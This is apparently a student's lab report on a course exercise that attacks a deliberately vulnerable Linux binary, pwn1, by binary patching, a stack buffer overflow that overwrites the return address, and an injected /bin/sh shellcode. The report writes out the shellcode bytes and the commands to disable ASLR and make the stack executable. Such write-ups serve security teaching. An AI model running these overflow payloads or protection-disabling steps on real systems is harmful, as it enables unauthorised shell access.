Exp1 PC平台逆向破解 20165110 石钰

一、实践目标

1.实验背景

实践对象是pwn1的Linux可执行文件,该程序的正常该程序正常执行流程是:main调用foo函数(oo函数会简单回显任何用户输入的字符串)该程序还包含一个getShell代码片段,会返回一个可用Shell。但是在正常情况下这个代码是不会被运行的。

2.实验内容

(1)手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

(2)利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

(3)注入一个自己制作的shellcode并运行这段shellcode。

二、实验步骤

1.实验一

(1)实验要求

修改可执行文件,改变程序执行流程,直接跳转到getShell函数

(2)具体步骤

预备知识:了解Call指令为跳转指令,EIP寄存器用于存放返回地址,反汇编指令为objdump.

首先通过终端进入pwn1所在的文件夹中,将pwn1做一个备份pwn20165110,然后开始后续操作。

首先输入objdump -d pwn20165110 | more指令将pwn1文件进行反汇编操作,找到main函数中指令 call 8048491 <foo>该指令用于跳转到foo函数中,如果我们想要让main函数不跳转到函数中只需要修改call后面的地址将其地址修改为函数的地址0804847d。

随后输入vi pwn这时显示的一堆ASIC码值无法阅读

随后输入%!xxd -r转化成16进制显示

使用/d7命令查找e87ffffff找到我们需要修改的机器指令的位置,找到后按r修改d7为c3(计算方式:0x0804847d-0x08048491+0xffffffd7=0xffffffc3)

然后使用:%!xxd -r转回ASCI码模式,再输入:wq!保存更改后的文件并退回终端页面。此时再次使用objdump -d pwn20165110查看pwn20165110的机器指令和汇编指令,即可发现main函数中的call的返回地址已经转变,说明修改已经成功。



此时运行./pwn20165110文件即可成功获取shell。

2.实验二

(1)实验要求

利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

(2)具体步骤

预备知识:BOF攻击的相关知识

该攻击是因为向缓冲区中填入过多的数据,而超出边界导致数据外溢,覆盖了相邻的内存空间。可以利用缓冲区溢出改写数据、改变程序执行流程干扰系统运行,破坏系统完全性,任意执行恶意代码。

函数调用过程有三个步骤,分别为:

prologue:保存当前的栈基址(ebp)

call:调用参数和返回地址(eip)压栈,跳转到函数入口

return:恢复调用者原有栈

本实验利用的是foo函数的BOF漏洞,在执行foo函数时构造一个超出buff大小的字符串将堆栈中的返回地址构造成我们需要的地址即可实现出发getshell函数。

首先我们再次将pwn1文件进行备份,新文件命名为pwn20165110_2。

首先使用gdb pwn20165110_2命令进入调试该文件状态,随后输入r执行pwn20165110_2文件,此时要求输入字符串我输入的是11...22...33...44...55...总计40个字符,随后可以发现终端显示这样一段字符Segmentation fault,出现了错误0x35353535 in ?? ()表示该地址并不存在,



我还进行了其他尝试:

我们可以使用x/16x,输入相应的地址来查看其具体内容从而找到其缓冲区的真正大小,

我们还可以通过对函数地址的计算可以得出缓冲区总共的大小(0x80484ae-0x8048491=0x0000001c)

1c转化为十进制即为28,也就是我们需要构造一个buff长度为28+4=32位,最后4位是返回地址,我们填入的是刚才查找的shellcode的起始地址0x080484d7由于本虚拟机为小端优先所以我们将最后四位构造成\xd7\x84\x04\x08即可实现

将我们需要往pwn 20165110_2中输入的字符串先放入一个名为input文件中,

还有一种方式时直接进行输入,下图以两种方式得出的结果:

随后可以输入xxd input可以查看我们刚才注入的信息,将这个文件作为输入执行pwn,即可攻击成功。

3.实验三

(1)实验要求

注入一个自己制作的shellcode并运行这段shellcode。

(2)具体步骤

预备知识:BOF攻击共有两种模型分别为NSR溢出模型,RNS溢出模型。其中NSR溢出模型,nop,shellcode,ret;RNS溢出模型,ret,nop,shellcode。

NSR模型:



RNS模型:

首先要先设置堆栈可执行,但是我输入相关命令的时候告知我没有相关命令,需要重新下载,我执行apt-get install execstack时报出找不到该软件,后来经过排查发现是源的问题,我更新了一个源后,即可顺利安装指令。执行

execstack -s pwn20165110_2     //设置堆栈可执行

execstack -q pwn20165110_2     //查询文件的堆栈是否可执行

此外,需要关闭地址随机化,否则每次操作esp的地址都会发生变化,这会非常麻烦。输入相关指令echo "0" > /proc/sys/kernel/randomize_va_space关闭。

由于该实验我们需要构造一个shellcode,这里的构造方法同实验二相似

perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

随后在终端运行(cat input_shellcode;cat) | ./pwn1

打开一个新的终端(一定要打开一个新的!!!)输入ps -ef | grep pwn20165110_3即可看见当前运行的pwn20165110_3的端口号(3188)

随后进行gdb操作attach 3188进行调试。

输入指令```disassenmbl foo``进行反编译查看具体指令的地址,将断点设置在call gets@plt处,

输入c继续程序,在另一个终端界面按下回车,在回到单步调试的界面输入info r esp查看栈底指针的位置。

随后就是坑了,我一开始将地址值-1c后去寻找该地址的地方,怎么也找不到我的shellcode,我还因为害怕自己出错翻来覆去进行多次操作,后来我才意识到我将模型弄错了,这是一个rns的模型将shellcode放在了ret的后面所以这时应该将地址值进行+4(4为返回地址的长度)即0xffffd29c + 0x00000004 = 0xffffd2a0



即可完成实验三。

附录:实验过程中出现的错误截图(解决方案已在上文中提到)





Exp1 PC平台逆向破解 20165110 石钰的更多相关文章

  1. 20155324《网络对抗》Exp1 PC平台逆向破解(5)M

    20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...

  2. 2018-2019-2 20165237《网络攻防技术》Exp1 PC平台逆向破解

    2018-2019-2 20165237<网络攻防技术>Exp1 PC平台逆向破解 一.实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调 ...

  3. 20165221 《网络对抗技术》EXP1 PC平台逆向破解

    20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...

  4. 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...

  5. 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解

    - 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...

  6. Exp1 PC平台逆向破解 20165235 祁瑛

    Exp1 PC平台逆向破解 20165235 祁瑛 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字 ...

  7. 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解

    2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...

  8. 2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常 ...

  9. 2018-2019-2 20165236郭金涛《网络对抗》Exp1 PC平台逆向破解

    2018-2019-2 20165236郭金涛<网络对抗>Exp1 PC平台逆向破解 一.实验内容 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分) 2.掌 ...

随机推荐

  1. C# 导出Excel Table td 样式

    <td style="vnd.ms-excel.numberformat:@;"><s:property value="accountCode" ...

  2. webview之如何设计一个优雅健壮的Android WebView?(下)(转)

    转载:https://iluhcm.com/2018/02/27/design-an-elegant-and-powerful-android-webview-part-two/ (这篇文章写得有点晚 ...

  3. 机器学习笔记之二-win10+cuda9.1+CUDNN7+Anaconda3+VS2017+tensorflow1.5+opencv3.4

     [Tensorflow]环境搭建vs2017+win10+py3.6+cuda9.1+cudnn7+tf1.5 一.安装cuda 9.1+VS2017   一路下一步即可,环境变量cuda会自动配好 ...

  4. [php]php设计模式 (总结)

    转载自[php]php设计模式 (总结) 传统的23种模式(没有区分简单工厂与抽象工厂) http://www.cnblogs.com/bluefrog/archive/2011/01/04/1925 ...

  5. DataStrom框架深造

    根据前一版DataStrom的使用,继续进行了改造和升级;前一版框架只是对服务按照名称注册和调用固化接口 最近研究后台框架,接触了ZBUS框架,我很喜欢ZBUS的前一版,该作者继续升级,已经在向AMQ ...

  6. Android 开发 values目录里定义数组、颜色、文本、尺寸xml配置文件并且获取数据 附录Android符号转码表

    以下xml都在res/values/文件夹下创建 创建String类型array: /app/src/main/res/values/array.xml <?xml version=" ...

  7. java 连接SQL Server

    1.确认服务器的连通性,并且使用账户密码模式登陆有效. 1).登陆服务器 2).查看安全性 2.新建数据库用于测试 3.下载jdbc安装并配置 进入微软官网主页--> 搜索JDBC-->找 ...

  8. sbt 学习

    一.基础 1.工程根目录 包含build.sbt的目录是工程的根目录.注意,就算在一个空目录下面执行sbt about,也会生成project文件夹 2.源文件目录结构 SBT有固定的文件组织结构 s ...

  9. QAC静态测试配置及使用教程

    使用前提:安装成功QAC软件. . 1.打开软件如上 . 2.file->Auto-Create-Project,出现如下所示对话框 1-工程名字 2-将要分析的代码路径 3-代码报告输出路径 ...

  10. 关于ComboBox的控件事件CBN_SELCHANGE总是取到旧值的问题

    我发现复选框,选择以后,在这个事件函数中,总是取到旧值,读了这个朋友的文章,找到了解决方法. 下面是参考的文章: http://scorpiomiracle.iteye.com/blog/710511 ...